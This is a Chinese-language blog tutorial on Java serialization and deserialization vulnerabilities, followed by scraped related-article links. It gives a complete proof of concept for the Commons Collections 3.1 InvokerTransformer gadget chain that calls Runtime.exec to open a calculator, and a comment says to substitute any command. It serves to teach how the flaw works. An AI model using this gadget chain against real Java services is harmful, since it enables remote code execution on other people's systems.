Java反序列化漏洞实现
一、说明
以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂;反来在运营商做乙方经常会因为java反反序列化漏洞要升级commons.collections或给中间件打补丁,前面说的两个问题还是不懂;今天又研究了番,也还不是很懂只是能弹计算器暂且先记一下。
二、序列化和反序列化
序列化和反序列化应该是在学《java网络编程》的时候就写过了,所谓序列化就是把对象从内存写到磁盘文件或数据库,反序列化就是从磁盘文件或数据库读取对象。注意序列化和反序列化都是针对对象不是类也不方法。
一直不明白为件么保存到文件要另外起个名字“序列化”,所以在相当长一段时间内都不敢肯定序列化就是写文件。以下直接举例明确序列化与反序列化的概念。
2.1 序列化对象对应类
我们这里使用的类很简单,就只设置了一个叫name的属性;另外凡需要序列化的类都需要实现Serializable接口
- package com.ls.serdemo;
- import java.io.Serializable;
- class SerObj implements Serializable {
- public String name;
- }
2.2 序列化
序列化,我们这里就是实例化2.1中的SerObj类设置一下其name属性,然后保存到object.ser文件
- package com.ls.serdemo;
- import java.io.*;
- public class SerImp {
- public static void main(String args[]) throws Exception{
- // 实例化对象
- SerObj serObj = new SerObj();
- serObj.name = "serobj";
- // 以下就是序列化操作
- // 打开object.ser文件
- FileOutputStream fos = new FileOutputStream("object.ser");
- ObjectOutputStream oos = new ObjectOutputStream(fos);
- // 使用writeObject()方法将serObj对象写到object.ser文件
- oos.writeObject(serObj);
- oos.close();
- fos.close();
- }
- }
完成后object.ser内容如下:
2.3 反序列化
- package com.ls.serdemo;
- import java.io.*;
- public class DeSerImp {
- public static void main(String args[]) throws Exception{
- // 以下就是反序列化操作
- // 打开object.ser文件
- FileInputStream fis = new FileInputStream("object.ser");
- ObjectInputStream ois = new ObjectInputStream(fis);
- // 使用从object.ser文件中读取对象
- SerObj deSerObj = (SerObj) ois.readObject();
- System.out.println(deSerObj.name);
- ois.close();
- fis.close();
- }
- }
运行可以看到成功打印name属性
三、反序列化漏洞
反序列化漏洞不是java独有的其他语言也会有,但都一样是在反序列化时执行了注入的代码。
反序列化漏洞注入代码也不只一种形式,我们这里只以InvokerTransformer为例进行演示。
3.1 程序说明
为了简单起见这里没弄成web形式,但道理是类似的只是一个通过网络传数据一个通过磁盘传数据;我们这里只重写SerObj类和SerImp类,反序列化仍用2.3的代码。
建议直接建maven项目,commons.collections相应pom.xml依赖:
- <dependency>
- <groupId>commons-collections</groupId>
- <artifactId>commons-collections</artifactId>
- <version>3.1</version>
- </dependency>
3.2版本将InvokerTransformer标志为不安全,使用时会抛出异常;4.4版本似乎已直接删除该函数(此即所谓java反序列化漏洞修复)。所以只能使用3.1版本。
另外网上很多教程不是使用这里“重写类”的方法,而是直接借助sun.reflect.annotation.AnnotationInvocationHandler实现代码执行,但在最新的jdk中似乎是进行了处理,至少我使用AnnotationInvocationHandler时没能弹出计算器,具体未分析。
3.2 反序列化攻击代码
- package com.ls.serdemo;
- import java.io.*;
- import java.util.HashMap;
- import java.util.Map;
- // 用到的commons.collections包
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- public class DeSerPoc {
- public static void main(String args[]) throws Exception{
- Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[] {
- String.class, Class[].class }, new Object[] {
- "getRuntime", new Class[0] }),
- new InvokerTransformer("invoke", new Class[] {
- Object.class, Object[].class }, new Object[] {
- null, new Object[0] }),
- // 执行calc.exe,把这里改成自己要执行的命令即可;服务器是linux就以成linux命令
- new InvokerTransformer("exec", new Class[] {
- String.class }, new Object[] {"calc.exe"})
- };
- Transformer transformedChain = new ChainedTransformer(transformers);
- Map<String,String> beforeTransformerMap = new HashMap<String,String>();
- beforeTransformerMap.put("value", "value");
- Map afterTransformerMap = TransformedMap.decorate(beforeTransformerMap, null, transformedChain);
- // SerObjRewrite中的setValue能触发afterTransformerMap中的代码的执行
- SerObjRewrite serObj = new SerObjRewrite();
- serObj.map = afterTransformerMap;
- // 将对象写入到object.ser
- FileOutputStream fos = new FileOutputStream("object.ser");
- ObjectOutputStream oos = new ObjectOutputStream(fos);
- oos.writeObject(serObj);
- oos.close();
- }
- }
- // 重写SerObj类,其实也不叫重写就随便新实现一个序例化类,重写序列化类的readObject方法,该方法在反序列化时会被自动调用
- // 在readObject中调用setValue,setValue能触发注入代码的调用,这正是代码注入的关键
- class SerObjRewrite implements Serializable {
- // name可有可无,又不是真重写
- public String name;
- public Map map;
- private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException , IOException {
- in.defaultReadObject();
- if(map != null){
- Map.Entry e = (Map.Entry)map.entrySet().iterator().next();
- e.setValue("400m");
- }
- }
- }
此时object.ser(部分)内容如下:
3.3 反序列化利用结果
再次运行2.3的反序例化代码,执行结果如下。
由于我们序例化的时候其实是SerObjRewrite类而不是SerObj类所以程序会报错,但这无所谓因为是先执行的readObject后执行的类型转换,注入代码在程序类型转换出错前已被执行。
参考:
http://www.freebuf.com/column/155381.html
https://www.cnblogs.com/KevinGeorge/p/8448967.html
Java反序列化漏洞实现的更多相关文章
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)
10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...
- java反序列化漏洞原理研习
零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...
- Java反序列化漏洞之殇
ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...
- java 反序列化漏洞检测及修复
Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...
- Java反序列化漏洞的挖掘、攻击与防御
一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
- 通过JBoss反序列化(CVE-2017-12149)浅谈Java反序列化漏洞
前段时间学校学习J2EE,用到了jboss,顺便看了下jboss的反序列化,再浅谈下反序列化漏洞. Java序列化,简而言之就是把java对象转化为字节序列的过程.而反序列话则是再把字节序列恢复为ja ...
随机推荐
- VoiceXML简介
简单来说,VoiceXML就是语音网络世界的HTML,一种用于语音应用的开放标准的标记语言.VoiceXML的问世使得为HTML发展起来的web体系也能够轻松地创建和使用语音应用. 发展历史: 199 ...
- map函数和filter函数 zip函数
1.map函数 接收一个函数f和一个可迭代对象(列表,字典等),并通过把函数f依次作用在li每个元素上,得到一个新的list并返回 # -*-coding:utf8 -*- import reques ...
- PowerBI更新 - 解决方案架构 - PowerBI Solution Architecture(一图胜万字!)
2019/04更新 参见这里 今天发福利啦!发福利啦!发福利啦! 企业的各种数据整合到PowerBI显示,浏览器,移动端显示关键指标. 一个很好的PowerBI解决方案的图!一图胜万字!你所需要知道的 ...
- Mysql导入表信息[Err] 1067 - Invalid default value for '字段名'
修改mysql配置文件 vi /etc/my.cnf //添加以下配置 sql_mode=ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,ERROR_FOR_DIVISI ...
- Gitlab构建分布式版本控制系统
一 安装依赖 1.sudo yum install curl policycoreutils openssh-server openssh-clients 2.sudo systemctl enabl ...
- Python之socket_tcp
1.1socket编程之tcp编程 """ socket类型 sock_stream 面向连接的流套接字,默认值 tcp协议 sock_dgram 无连接的数据报文套接字 ...
- The Designer (笛卡尔定理+韦达定理 || 圆的反演)
Nowadays, little haha got a problem from his teacher.His teacher wants to design a big logo for the ...
- Hbase伪分布式安装
前面的文章已经讲过hadoop伪分布式安装,这里直接介绍hbase伪分布式安装. 1. 下载hbase 版本hbase 1.2.6 2. 解压hbase 3. 修改hbase-env.sh 新增如下内 ...
- 数据挖掘算法——Close算法
说明奥:菜鸟的自我学习,可能有错. Close算法原理: 一个频繁闭合项目集的所有闭合子集一定是频繁的,一个非频繁闭合项目集的所有闭合超集一定是非频繁的. close算法是对Apriori算法的改进 ...
- Oracle 参数文件spfile
pfile和spfile 概念 ORACLE中的参数文件是一个包含一系列参数以及参数对应值的操作系统文件,可以分为两种类型.它们是在数据库实例启动时候加载的,决定了数据库的物理结构.内存.数据库的限制 ...